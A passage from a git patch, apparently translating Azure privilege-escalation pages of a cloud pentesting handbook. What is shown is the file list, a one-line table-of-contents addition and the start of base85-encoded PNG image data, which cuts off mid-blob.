From 37dc1f5c062d0cc93e814b0b9a4691df48bd09a8 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:19:49 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- src/SUMMARY.md | 1 + src/images/lasttower.png | Bin 0 -> 70062 bytes .../az-app-services-privesc.md | 324 ++++---- .../az-services/az-app-services.md | 31 +- .../az-services/az-function-apps.md | 84 +- theme/elasticlunr.min.js | 10 + theme/ht_searcher.js | 720 ++++-------------- 7 files changed, 402 insertions(+), 768 deletions(-) create mode 100644 src/images/lasttower.png create mode 100644 theme/elasticlunr.min.js diff --git a/src/SUMMARY.md b/src/SUMMARY.md index a470914ae..17225a2e2 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -425,6 +425,7 @@ - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) - [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md) - [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md) + - [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md) - [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md) - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md) - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md) diff --git a/src/images/lasttower.png b/src/images/lasttower.png new file mode 100644 index 0000000000000000000000000000000000000000..61b1978109dbbef3f13164aef900d6ec39a0206c GIT binary patch literal 70062 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 